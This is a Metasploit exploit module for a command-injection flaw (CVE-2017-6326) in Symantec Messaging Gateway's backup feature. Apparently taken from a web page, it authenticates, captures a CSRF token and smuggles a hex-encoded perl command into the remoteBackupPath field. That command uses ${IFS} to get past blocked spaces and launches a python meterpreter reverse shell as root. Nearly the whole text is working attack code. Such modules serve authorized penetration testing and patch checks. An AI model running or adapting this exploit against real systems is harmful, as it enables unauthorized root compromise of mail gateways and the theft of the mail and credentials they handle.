1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Messaging Gateway Remote Code Execution", 'Description'=> %q{ This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a terminal command under the context of the web server user which is root. backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause an command injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal command. Thus, you need to configure your own SSH service and set the required parameter during module usage. This module was tested against Symantec Messaging Gateway 10.6.2-7. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/'], ['CVE', '2017-6326'] ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443, 'Payload' => 'python/meterpreter/reverse_tcp' }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets'=> [[ 'Automatic', { }]], 'Privileged' => true, 'DisclosureDate' => "Apr 26 2017", 'DefaultTarget'=> 0 )) register_options( [ Opt::RPORT(443), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password to login with']), OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']), OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]), OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']), OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']), OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/']) ] ) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def ssh_address datastore['SSH_ADDRESS'] end def ssh_port datastore['SSH_PORT'] end def ssh_username datastore['SSH_USERNAME'] end def ssh_password datastore['SSH_PASSWORD'] end def auth print_status("Performing authentication...") sid= '' last_login = '' res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do') }) if res && !res.get_cookies.empty? last_login = res.get_hidden_inputs.first['lastlogin'] || '' sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' else fail_with(Failure::Unknown, "Didn't get cookie-set header from response.") end cookie = '' # Performing authentication res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'), 'headers' => { 'Referer' => "https://#{peer}/brightmail/viewLogin.do", 'Connection' => 'keep-alive' }, 'cookie'=> "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}", 'vars_post' => { 'lastlogin'=> last_login, 'userLocale' => '', 'lang' => 'en_US', 'username' => username, 'password' => password, 'loginBtn' => 'Login' } }) if res &&res.body =~ /Logged in/ cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] print_good("Awesome..! Authenticated with #{username}:#{password}") else fail_with(Failure::Unknown, 'Credentials are not valid.') end cookie end def get_csrf_token(cookie) print_status('Capturing CSRF token') res = send_request_cgi({ 'method'=> 'GET', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'), 'cookie'=> "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}", }) csrf_token = nil if res && res.code == 200 match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/) if match csrf_token = match[1] print_good("CSRF token is : #{csrf_token}") else fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.') end else fail_with(Failure::Unknown, 'Something went wrong.') end csrf_token end def exploit cookie = auth csrf_token = get_csrf_token(cookie) # I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted. # Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys; # Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :) # So we gonna execute a perl payload on server side which will execute our meterpreter python payload. cmd = "python -c \"#{payload.encoded}\"" final_payload = cmd.to_s.unpack("H*").first p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'" # Ok. We are ready to go send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'), 'cookie'=> "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}", 'vars_post' => { 'pageReuseFor'=> 'backup_now', 'id'=> '', 'symantec.brightmail.key.TOKEN' => csrf_token, 'backupData'=> 'full', 'customType'=> 'configuration', 'includeIncidentMessages' => 'true', 'includeLogData'=> 'true', 'backupTo'=> '2', 'remoteBackupProtocol'=> 'SCP', 'remoteBackupAddress' => ssh_address, 'remoteBackupPort'=> ssh_port, 'remoteBackupPath'=> "tmp$(#{p})", 'requiresRemoteAuthentication'=> 'true', 'remoteBackupUsername'=> ssh_username, 'remoteBackupPassword'=> ssh_password, } }) end end |